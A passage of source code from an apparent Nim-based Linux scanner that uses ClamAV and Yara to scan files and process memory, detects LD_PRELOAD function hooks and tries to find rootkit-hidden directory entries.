# let full_node_path = if scan_dir.endsWith("/"): scan_dir & next_node_name else: scan_dir & "/" & next_node_name 142 | # scan_ctx.file_infected += 1 143 | # print_file_infected("Heur:Rootkit.HiddenOnDisk", full_node_path) 144 | 145 | # # Get name of the next node 146 | # if ptr_dir.d_reclen >= 256: 147 | # # Name of current node is too long. We can't parse next_node_name, or we might have a crash 148 | # next_node_name = "" 149 | # else: 150 | # # d_reclen = len(current_node_name) + sizeof(chunk_bytes) 151 | # # Casting a string at next position can get the name of next node 152 | # if ptr_dir.d_name[ptr_dir.d_reclen] != '\x00': 153 | # # Fix heap overflow that cause false positive 154 | # next_node_name = $cast[cstring](addr(ptr_dir.d_name[ptr_dir.d_reclen])) 155 | # else: 156 | # next_node_name = "" 157 | 158 | 159 | #[ 160 | Replacement of os.walkDirRec using posix's readdir. 161 | Input: dir (a list of dir should be handled by a function above) 162 | Job: Do read every nodes of current dir 163 | 1. If node is a file or symlink of a file, call file scan 164 | 2. If node is a folder or symlink of a folder, call walk_dir rec 165 | TODO improve logic to handle process in procfs too 166 | 167 | Linux's node types: https://www.gnu.org/software/libc/manual/html_node/Directory-Entries.html 168 | ]# 169 | # proc fscanner_walk_dir_rec*(scan_ctx: var FileScanCtx, scan_dir: string, virname: var cstring, scanned: var uint) = 170 | # var 171 | # p_dir = opendir(cstring(scan_dir)) 172 | # ptr_dir: ptr Dirent 173 | # next_node_name: string 174 | # current_node_name: string 175 | # full_node_path: string 176 | 177 | # while true: 178 | # ptr_dir = readdir(p_dir) 179 | 180 | # if ptr_dir == nil: 181 | # # FIXME hidden file in last node will not be detected because of this break 182 | # break 183 | 184 | # current_node_name = $cast[cstring](addr(ptr_dir.d_name)) 185 | 186 | # # Linux's dir always have "." as current dir and ".." as parent DIR. Skip checking these 2 nodes 187 | # # TODO better handing with "..": in folders that has only 1 node (beside . and ..), it might be hidden by malware. 188 | # # Using ".." might be able to detect them (if d_reclen's logic can be fixed for the last node) 189 | # if current_node_name == "." or current_node_name == "..": 190 | # continue 191 | 192 | # full_node_path = if scan_dir.endsWith("/"): scan_dir & current_node_name else: scan_dir & "/" & current_node_name 193 | 194 | # fscanner_check_hidden_node(scan_ctx, ptr_dir, scan_dir, current_node_name, next_node_name) 195 | 196 | # case ptr_dir.d_type 197 | # of DT_DIR: 198 | # # Recursive walk. Current node is a folder so it should ends with "/" 199 | # fscanner_walk_dir_rec(scan_ctx, full_node_path & "/", virname, scanned) 200 | # of DT_REG: 201 | # # Regular file, call scan file 202 | # fscanner_scan_file(scan_ctx, full_node_path, virname, scanned) 203 | # of DT_LNK: 204 | # # Either link of file or link of dir. Must handle this 205 | # # if getSymlinkFileKind(full_node_path) == pcLinkToDir: 206 | # # fscanner_walk_dir_rec(full_node_path & "/") 207 | # discard 208 | # of DT_UNKNOWN: 209 | # # The type is unknown. Only some filesystems have full support to return the type of the file, others might always return this value. Debug first 210 | # fscanner_scan_file(scan_ctx, full_node_path, virname, scanned) 211 | # else: 212 | # # DT_FIFO, DT_SOCK, DT_CHR (A character device), DT_BLK (A block device). Research first 213 | # discard 214 | 215 | # discard p_dir.closedir() 216 | -------------------------------------------------------------------------------- /src/engine/scan_proc.nim: -------------------------------------------------------------------------------- 1 | import strutils 2 | import os 3 | import strformat 4 | import engine_cores 5 | import bindings/[libyara, libclamav] 6 | import ../cli/[progress_bar, print_utils] 7 | 8 | #[ 9 | Scan Linux's memory with ClamAV and Yara engine. 10 | 1. Attach the process: Map all information from procfs 11 | 2. Scan with Yara and ClamAV 12 | Memory blocks of Linux process, could be: 13 | A. Memory blocks mapped from a binary file 14 | B. Heap, Stack, ... 15 | The B. usually contains the data of a child process. Scanner should skip it to avoid false positive 16 | ]# 17 | 18 | {.emit: """ 19 | typedef struct _YR_PROC_ITERATOR_CTX 20 | { 21 | const uint8_t* buffer; 22 | size_t buffer_size; 23 | YR_MEMORY_BLOCK current_block; 24 | void* proc_info; 25 | } YR_PROC_ITERATOR_CTX; 26 | 27 | typedef struct _YR_PROC_INFO 28 | { 29 | int pid; 30 | int mem_fd; 31 | int pagemap_fd; 32 | FILE* maps; 33 | uint64_t map_offset; 34 | uint64_t next_block_end; 35 | int page_size; 36 | char map_path[PATH_MAX]; 37 | uint64_t map_dmaj; 38 | uint64_t map_dmin; 39 | uint64_t map_ino; 40 | } YR_PROC_INFO; 41 | """.} 42 | 43 | type 44 | MemBlockInfo {.bycopy, importc: "struct _YR_PROC_INFO".} = object 45 | pid: cint 46 | mem_fd: cint 47 | pagemap_fd: cint 48 | maps: ptr FILE 49 | map_offset: uint64 50 | next_block_end: uint64 51 | page_size: cint 52 | map_path: cstring 53 | map_dmaj: uint64 54 | map_dmin: uint64 55 | map_ino: uint64 56 | 57 | 58 | #[ 59 | Callback function for ClamAV 60 | Print information of infected process when malware is found 61 | ]# 62 | proc pscanner_on_virus_found_clam*(fd: cint, virname: cstring, context: pointer) {.cdecl.} = 63 | let 64 | ctx = cast[ptr ProcScanCtx](context) 65 | 66 | if ctx.scan_result == CL_CLEAN: 67 | ctx.scan_result = CL_VIRUS 68 | ctx.proc_infected += 1 69 | print_process_infected(ctx.pinfo.pid, $virname, ctx.scan_object, ctx.pinfo.proc_exe, ctx.pinfo.proc_name) 70 | ctx.virname = "" 71 | 72 | 73 | #[ 74 | Callback function for Yara scanner 75 | Print information of infected process when malware is found 76 | ]# 77 | proc pscanner_on_virus_found_yara(context: ptr YR_SCAN_CONTEXT; message: cint; message_data: pointer; user_data: pointer): cint {.cdecl.} = 78 | let 79 | ctx = cast[ptr ProcScanCtx](user_data) 80 | rule = cast[ptr YR_RULE](message_data) 81 | 82 | if message == CALLBACK_MSG_RULE_MATCHING: 83 | ctx.virname = cstring($rule.ns.name & ":" & replace($rule.identifier, "_", ".")) 84 | ctx.proc_infected += 1 85 | ctx.scan_result = CL_VIRUS 86 | print_process_infected(ctx.pinfo.pid, $ctx.virname, ctx.scan_object, ctx.pinfo.proc_exe, ctx.pinfo.proc_name) 87 | ctx.virname = "" 88 | return CALLBACK_ABORT 89 | else: 90 | ctx.virname = "" 91 | ctx.scan_result = CL_CLEAN 92 | return CALLBACK_CONTINUE 93 | 94 | 95 | #[ 96 | Get process's handler information 97 | /proc//fd/ 98 | ]# 99 | proc pscanner_get_fd_path(procfs: string, fd_id: int): string = 100 | let 101 | handler_path = fmt"{procfs}fd/{fd_id}" 102 | 103 | try: 104 | if symlinkExists(handler_path): 105 | return expandSymlink(handler_path) 106 | return "" 107 | except: 108 | return "" 109 | 110 | 111 | #[ 112 | Scan current memory block with Yara and ClamAV. Return false if malware is found 113 | ]# 114 | proc pscanner_scan_mem_block(ctx: var ProcScanCtx, mem_block, scan_block: ptr YR_MEMORY_BLOCK, base_size: uint): bool = 115 | if ctx.yara.scanner != nil: 116 | discard yr_scanner_scan_mem(ctx.yara.scanner, mem_block[].fetch_data(scan_block), base_size) 117 | 118 | if ctx.scan_result == CL_VIRUS: 119 | return false 120 | 121 | var 122 | cl_map_file = cl_fmap_open_memory(mem_block[].fetch_data(scan_block), base_size) 123 | scanned: culong 124 | 125 | discard cl_scanmap_callback(cl_map_file, cstring(ctx.scan_object), addr(ctx.virname), addr(scanned), ctx.clam.engine, ctx.clam.options.addr, ctx.addr) 126 | cl_fmap_close(cl_map_file) 127 | 128 | if ctx.scan_result == CL_VIRUS: 129 | return false 130 | return true 131 | 132 | 133 | #[ 134 | Iterate over all memory blocks, call scan_mem_block 135 | Instead of scan single blocks, this function merge blocks that belongs to a binary 136 | then call scan the whole big block 137 | If the current block doesn't belong to any file (heap, stack, ...), scan it 138 | ]# 139 | proc pscanner_scan_memory(ctx: var ProcScanCtx) = 140 | var 141 | mem_blocks: YR_MEMORY_BLOCK_ITERATOR 142 | 143 | if yr_process_open_iterator(cint(ctx.pinfo.pid), mem_blocks.addr) == ERROR_SUCCESS: 144 | if mem_blocks.first(mem_blocks.addr) == nil: 145 | return 146 | 147 | var 148 | mem_block: ptr YR_MEMORY_BLOCK = mem_blocks.first(mem_blocks.addr) 149 | scan_block: YR_MEMORY_BLOCK 150 | 151 | scan_block.base = mem_block.base 152 | scan_block.size = mem_block.size 153 | scan_block.context = mem_block.context 154 | 155 | while mem_block != nil: 156 | var 157 | context = cast[ptr YR_PROC_ITERATOR_CTX](mem_block.context) 158 | proc_info = cast[ptr MemBlockInfo](context.proc_info) 159 | if isEmptyOrWhitespace($proc_info.map_path): 160 | if not pscanner_scan_mem_block(ctx, mem_block, scan_block.addr, scan_block.size): 161 | break 162 | scan_block.base = mem_block.base 163 | scan_block.size = mem_block.size 164 | scan_block.context = mem_block.context 165 | ctx.scan_object = ctx.pinfo.proc_exe 166 | else: 167 | scan_block.size += mem_block.size 168 | ctx.scan_object = $proc_info.map_path 169 | mem_block = mem_blocks.next(mem_blocks.addr) 170 | 171 | discard yr_process_close_iterator(mem_blocks.addr) 172 | else: 173 | # Failed to Iterate memory blocks. Let Yara handles it? 174 | discard yr_scanner_scan_proc(ctx.yara.scanner, cint(ctx.pinfo.pid)) 175 | 176 | 177 | #[ 178 | Create a new YR_SCANNER object 179 | Set callback function 180 | Set scan flags 181 | ]# 182 | proc pscanner_create_yr_scanner(ctx: var ProcScanCtx) = 183 | discard yr_scanner_create(ctx.yara.rules, ctx.yara.scanner.addr) 184 | ctx.yara.scanner.yr_scanner_set_callback(pscanner_on_virus_found_yara, addr(ctx)) 185 | ctx.yara.scanner.yr_scanner_set_timeout(YR_SCAN_TIMEOUT) 186 | ctx.yara.scanner.yr_scanner_set_flags(SCAN_FLAGS_FAST_MODE) 187 | 188 | 189 | #[ 190 | Gather process's information and pass to Yara 191 | Pass value to Yara's scanner using define variable 192 | This function also scans the cmdline 193 | ]# 194 | proc pscanner_gather_proc_fingerprint(ctx: var ProcScanCtx) = 195 | let 196 | fd_stdin = pscanner_get_fd_path(ctx.pinfo.procfs, 0) 197 | fd_stdout = pscanner_get_fd_path(ctx.pinfo.procfs, 1) 198 | fd_stderr = pscanner_get_fd_path(ctx.pinfo.procfs, 2) 199 | var 200 | cmdline = readFile(fmt"{ctx.pinfo.procfs}cmdline").replace("\x00", " ") 201 | 202 | # Prevent out of bound error when cmdline is completely empty 203 | if isEmptyOrWhitespace(cmdline): 204 | cmdline = " " 205 | 206 | let 207 | proc_exe_exists = if fileExists(ctx.scan_object): cint(1) else: cint(0) 208 | 209 | discard yr_scanner_define_boolean_variable(ctx.yara.scanner, cstring("proc_exe_exists"), proc_exe_exists) 210 | discard yr_scanner_define_string_variable(ctx.yara.scanner, cstring("fd_stdin"), cstring(fd_stdin)) 211 | discard yr_scanner_define_string_variable(ctx.yara.scanner, cstring("fd_stdout"), cstring(fd_stdout)) 212 | discard yr_scanner_define_string_variable(ctx.yara.scanner, cstring("fd_stderr"), cstring(fd_stderr)) 213 | discard yr_scanner_define_string_variable(ctx.yara.scanner, cstring("proc_exe"), cstring(ctx.pinfo.proc_exe)) 214 | discard yr_scanner_define_string_variable(ctx.yara.scanner, cstring("proc_name"), cstring(ctx.pinfo.proc_name)) 215 | discard yr_scanner_define_string_variable(ctx.yara.scanner, cstring("proc_cmdline"), cstring(cmdline)) 216 | 217 | 218 | #[ 219 | Get basic process's info like process id, name, exe file 220 | ]# 221 | proc pscanner_get_pid_info(ctx: var ProcScanCtx): bool = 222 | ctx.pinfo.procfs = fmt"/proc/{ctx.pinfo.pid}/" 223 | if not dirExists(ctx.pinfo.procfs): 224 | return false 225 | ctx.pinfo.proc_name = readFile(fmt"{ctx.pinfo.procfs}comm") 226 | ctx.pinfo.proc_name.removeSuffix('\n') 227 | try: 228 | ctx.pinfo.proc_exe = expandSymlink(fmt"{ctx.pinfo.procfs}exe") 229 | except: 230 | ctx.pinfo.proc_exe = "" 231 | 232 | ctx.scan_object = ctx.pinfo.proc_exe 233 | ctx.scan_object.removeSuffix(" (deleted)") 234 | return true 235 | 236 | 237 | proc pscanner_process_pid(ctx: var ProcScanCtx) = 238 | if not pscanner_get_pid_info(ctx): 239 | return 240 | 241 | progress_bar_scan_proc(ctx.pinfo.pid, ctx.scan_object) 242 | if ctx.yara.rules != nil: 243 | pscanner_create_yr_scanner(ctx) 244 | pscanner_gather_proc_fingerprint(ctx) 245 | pscanner_scan_memory(ctx) 246 | ctx.proc_scanned += 1 247 | 248 | if ctx.yara.scanner != nil: 249 | yr_scanner_destroy(ctx.yara.scanner) 250 | 251 | 252 | #[ 253 | Walkthrough the list of pid 254 | ]# 255 | proc pscanner_scan_processes*(ctx: var ProcScanCtx, list_procs: seq[uint]) = 256 | for pid in list_procs: 257 | ctx.pinfo.pid = pid 258 | pscanner_process_pid(ctx) 259 | 260 | 261 | #[ 262 | Use procfs to get all pid in the system 263 | ]# 264 | proc pscanner_scan_processes*(ctx: var ProcScanCtx) = 265 | for kind, path in walkDir("/proc/"): 266 | if kind == pcDir: 267 | try: 268 | let pid = parseUint(splitPath(path).tail) 269 | ctx.pinfo.pid = pid 270 | pscanner_process_pid(ctx) 271 | except ValueError: 272 | discard 273 | -------------------------------------------------------------------------------- /src/engine/scan_userland_hook.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | A script to detect hooked functions from ld_preload 3 | Original idea: https://github.com/mempodippy/detect_preload/ (No LICENSE) 4 | ]# 5 | 6 | import .. / cli / print_utils 7 | import strutils 8 | 9 | {.emit: """ 10 | #include 11 | 12 | 13 | char *rk_hook_find_hijack_func() { 14 | void *libc_handler; 15 | 16 | if (!(libc_handler = dlopen("libc.so.6", RTLD_LAZY))) 17 | { 18 | return; 19 | } 20 | 21 | char *symb_name; 22 | char *COMMON_FUNCTIONS[] = {"rename", "renameat", "stat", "stat64", "fstat", "fstat64", "lstat", "lstat64", 23 | "__lxstat", "__lxstat64", "__fxstat", "__fxstat64", "__xstat", "__xstat64", "access", "unlink", "strstr" , 24 | "fgets", "fopen", "fopen64", "open", "opendir", "opendir64", "readdir", "readdir64", "unlinkat", NULL}; 25 | int i = 0; 26 | 27 | while (symb_name = COMMON_FUNCTIONS[i++]) 28 | { 29 | void *symb_from_libc, *symb_from_curr; 30 | 31 | symb_from_libc = dlsym(libc_handler, symb_name); 32 | symb_from_curr = dlsym(RTLD_NEXT, symb_name); 33 | 34 | if (symb_from_libc != symb_from_curr) 35 | { 36 | Dl_info curr_nfo; 37 | dladdr(symb_from_curr, &curr_nfo); 38 | dlclose(libc_handler); 39 | return curr_nfo.dli_fname; 40 | } 41 | } 42 | 43 | dlclose(libc_handler); 44 | } 45 | 46 | """.} 47 | 48 | 49 | proc rk_hook_find_hijack_func(): cstring {.importc: "rk_hook_find_hijack_func".} 50 | 51 | 52 | proc rk_hook_scan_userland*() = 53 | # FIXME this module should handle multiple infections 54 | let 55 | path_hooked_lib = $rk_hook_find_hijack_func() 56 | 57 | if not isEmptyOrWhitespace(path_hooked_lib): 58 | print_file_infected("Heur:Rootkit.FuncHook", path_hooked_lib) 59 | -------------------------------------------------------------------------------- /src/research/find_hidden_file.nim: -------------------------------------------------------------------------------- 1 | import posix 2 | import strutils 3 | 4 | 5 | # {.emit: """ 6 | 7 | # #include 8 | 9 | 10 | # unsigned short calculate_reclen(char *filename) { 11 | # // Calculate normal size 12 | # size_t reclen = offsetof(struct dirent, d_name) + strlen(filename) + 1; 13 | 14 | # // Calculate the real size based on system's arch 15 | # reclen = (reclen + sizeof(void*) - 1) & ~(sizeof(void*) - 1); 16 | 17 | # return (unsigned short)reclen; 18 | # } 19 | # """.} 20 | 21 | 22 | # proc calculate_reclen(file_name: cstring): cushort {.importc: "calculate_reclen".} 23 | 24 | 25 | proc find_hidden_files(find_dir: string) = 26 | #[ 27 | Find hidden file / folder by node's d_name comparsion 28 | 1. Get name of current node 29 | 2. Get the name of next node in d_name (d_name[255] could contain next node's name depends on lenght) 30 | # BUG: either 1 name is too long -> can't get the value -> bypass 31 | 3. Compare the name from d_name with current node's name (if hidden by malware -> different) 32 | # BUG: if 2 hidden nodes are next to each other, the 2nd hidden won't be detected 33 | 4. If current node is nil (previous node was last node) then break. (next node's name from previous loop should be null) 34 | # BUG:If current folder has too many node, it will show false positive at step 4. 35 | ]# 36 | var 37 | f_dir = opendir(cstring(find_dir)) 38 | save_node_name: string 39 | # wrong_reclen = false 40 | # actual_reclen: cushort 41 | 42 | while true: 43 | var 44 | r_dir: ptr Dirent = readdir(f_dir) 45 | 46 | if r_dir == nil: 47 | # if not isEmptyOrWhiteSpace(save_node_name): # and not wrong_reclen: 48 | # echo "Malware (last): ", save_node_name 49 | break 50 | 51 | # Compare name of current node with save name from previous loop (which suppose to be name of this node if no function hooking) 52 | # let str_file_name = $cast[cstring](addr(r_dir.d_name)) 53 | 54 | # if save_node_name != "" and save_node_name != str_file_name: 55 | if save_node_name != "" and save_node_name != $cast[cstring](addr(r_dir.d_name)): 56 | echo "Malware: ", save_node_name 57 | 58 | # If r_dir.d_reclen < 256 then the name of current node is short enough so next part has name of next node 59 | # We parse the name and try comparing it with the name of node in next loop 60 | if r_dir.d_reclen >= 256: 61 | save_node_name = "" 62 | else: 63 | save_node_name = $cast[cstring](addr(r_dir.d_name[r_dir.d_reclen])) 64 | # actual_reclen = calculate_reclen(cstring(str_file_name)) 65 | # wrong_reclen = actual_reclen != r_dir.d_reclen 66 | # save_node_name = if wrong_reclen: $cast[cstring](addr(r_dir.d_name[actual_reclen])) else: $cast[cstring](addr(r_dir.d_name[r_dir.d_reclen])) 67 | 68 | discard f_dir.closedir() 69 | 70 | find_hidden_files("/dev/shm") 71 | -------------------------------------------------------------------------------- /src/rkscanmal.nim: -------------------------------------------------------------------------------- 1 | import cli / cli_opts 2 | import engine / engine_cores 3 | import scanners / scanners 4 | 5 | 6 | var options: ScanOptions 7 | 8 | if cliopts_get_options(options): 9 | scanners_start_scan(options) 10 | -------------------------------------------------------------------------------- /src/scanners/scanners.nim: -------------------------------------------------------------------------------- 1 | import os 2 | import .. / engine / [engine_cores, scan_file, scan_proc, scan_userland_hook] 3 | import ../ engine / bindings / [libyara, libclamav] 4 | import ../ cli / print_utils 5 | 6 | 7 | type 8 | KeyboardInterrupt = object of CatchableError 9 | 10 | 11 | proc handle_keyboard_interrupt() {.noconv.} = 12 | raise newException(KeyboardInterrupt, "Keyboard Interrupt") 13 | 14 | 15 | proc scanners_scan_dir(scan_ctx: var FileScanCtx, path_dir: string, virname: var cstring, scanned: var uint) = 16 | for each_path in walkDirRec(path_dir): 17 | let path_kind = getFileInfo(each_path).kind 18 | if path_kind == pcFile or path_kind == pcLinkToFile: 19 | fscanner_scan_file(scan_ctx, each_path, virname, scanned) 20 | 21 | 22 | proc scanners_cl_scan_files*(scan_ctx: var ScanCtx, list_path_objects: seq[string], result_count, result_infect: var uint) = 23 | #[ 24 | Job: walkDir and call scan 25 | ]# 26 | var 27 | file_scanner = FileScanCtx( 28 | yara: scan_ctx.yara, 29 | clam: scan_ctx.clam, 30 | scan_object: scan_ctx.scan_object, 31 | scan_result: scan_ctx.scan_result, 32 | virname: scan_ctx.virname, 33 | file_scanned: 0, 34 | file_infected: 0 35 | ) 36 | scanned: culong 37 | virname: cstring 38 | 39 | file_scanner.clam.options = scan_ctx.clam.options 40 | cl_engine_set_clcb_virus_found(file_scanner.clam.engine, fscanner_on_malware_found_clam) 41 | 42 | try: 43 | # If provided target is a file or symlink to file, call file scan 44 | # Else do walkDir 45 | for each_scan_object in list_path_objects: 46 | let current_type = getFileInfo(each_scan_object).kind 47 | if current_type == pcDir or current_type == pcLinkToDir: 48 | scanners_scan_dir(file_scanner, each_scan_object, virname, scanned) 49 | else: 50 | fscanner_scan_file(file_scanner, each_scan_object, virname, scanned) 51 | # case getFileInfo(each_scan_object).kind 52 | # of pcDir: 53 | # fscanner_walk_dir_rec(file_scanner, each_scan_object, virname, scanned) 54 | # of pcLinkToDir: 55 | # fscanner_walk_dir_rec(file_scanner, each_scan_object, virname, scanned) 56 | # else: 57 | # fscanner_scan_file(file_scanner, each_scan_object, virname, scanned) 58 | except KeyboardInterrupt: 59 | return 60 | except: 61 | discard 62 | finally: 63 | result_count = file_scanner.file_scanned 64 | result_infect = file_scanner.file_infected 65 | 66 | 67 | proc scanners_yr_scan_procs(scan_ctx: var ScanCtx, list_procs: seq[uint], all_procs: bool, result_count, result_infected: var uint) = 68 | var 69 | proc_scanner = ProcScanCtx( 70 | yara: scan_ctx.yara, 71 | clam: scan_ctx.clam, 72 | scan_object: scan_ctx.scan_object, 73 | scan_result: scan_ctx.scan_result, 74 | virname: scan_ctx.virname, 75 | proc_scanned: 0, 76 | proc_infected: 0 77 | ) 78 | 79 | proc_scanner.clam.options = scan_ctx.clam.options 80 | cl_engine_set_clcb_virus_found(proc_scanner.clam.engine, pscanner_on_virus_found_clam) 81 | 82 | try: 83 | if all_procs: 84 | pscanner_scan_processes(proc_scanner) 85 | else: 86 | pscanner_scan_processes(proc_scanner, list_procs) 87 | except KeyboardInterrupt: 88 | return 89 | finally: 90 | result_count = proc_scanner.proc_scanned 91 | result_infected = proc_scanner.proc_infected 92 | 93 | 94 | proc scanners_init_engine(ctx: var ScanCtx, options: ScanOptions) = 95 | #[ 96 | Init Yara and ClamAV 97 | ]# 98 | var 99 | loaded_yara_sigs: uint = 0 100 | loaded_clam_sigs: uint = 0 101 | 102 | discard ctx.yara.init_yara(loaded_yara_sigs, options.db_path_yara) 103 | 104 | if ctx.clam.init_clamav(loaded_clam_sigs, options.db_path_clamav, options.use_clam_db, options.is_clam_debug) != ERROR_SUCCESS: 105 | raise newException(ValueError, "Failed to init ClamAV Engine") 106 | 107 | #[ 108 | ClamAV scan phases 109 | 1. pre_cache: Access file (both inner and outer) before scan. Use less RAM 110 | question: Call this function scans archived files (inner) too? 111 | 2. pre_scan: Before scan 112 | 3. post_scan: after file scan complete 113 | 4. virus_found: only when a virus is found 114 | ]# 115 | # Only use Yara's scan engine if the init process completed 116 | if ctx.yara.rules != nil: 117 | cl_engine_set_clcb_file_inspection(ctx.clam.engine, fscanner_cb_file_inspection) 118 | elif loaded_clam_sigs == 0: 119 | raise newException(ValueError, "No valid signatures found") 120 | else: 121 | cl_engine_set_clcb_post_scan(ctx.clam.engine, fscanner_cb_inc_count) 122 | 123 | cl_set_clcb_msg(fscanner_slient_message_clam) 124 | 125 | 126 | proc scanners_finish_scan(ctx: var ScanCtx, f_count, f_infect, p_count, p_infect: uint) = 127 | finit_yara(ctx.yara) 128 | finit_clamav(ctx.clam) 129 | print_sumary(f_count, f_infect, p_count, p_infect) 130 | 131 | 132 | proc scanners_start_scan*(options: var ScanOptions) = 133 | #[ 134 | Create a scan task 135 | Jobs: 136 | 1. init ClamAV and Yara 137 | 2. Call scan task 138 | 3. finit ClamAV and Yara 139 | ]# 140 | 141 | var 142 | scan_engine: ScanCtx 143 | f_count, f_infect, p_count, p_infect: uint 144 | 145 | setControlCHook(handle_keyboard_interrupt) 146 | scanners_init_engine(scan_engine, options) 147 | 148 | if options.scan_function_hook: 149 | rk_hook_scan_userland() 150 | 151 | if len(options.list_path_objects) > 0: 152 | scanners_cl_scan_files(scan_engine, options.list_path_objects, f_count, f_infect) 153 | 154 | if len(options.list_procs) > 0 or options.scan_all_procs: 155 | scanners_yr_scan_procs(scan_engine, options.list_procs, options.scan_all_procs, p_count, p_infect) 156 | 157 | scanners_finish_scan(scan_engine, f_count, f_infect, p_count, p_infect) 158 | --------------------------------------------------------------------------------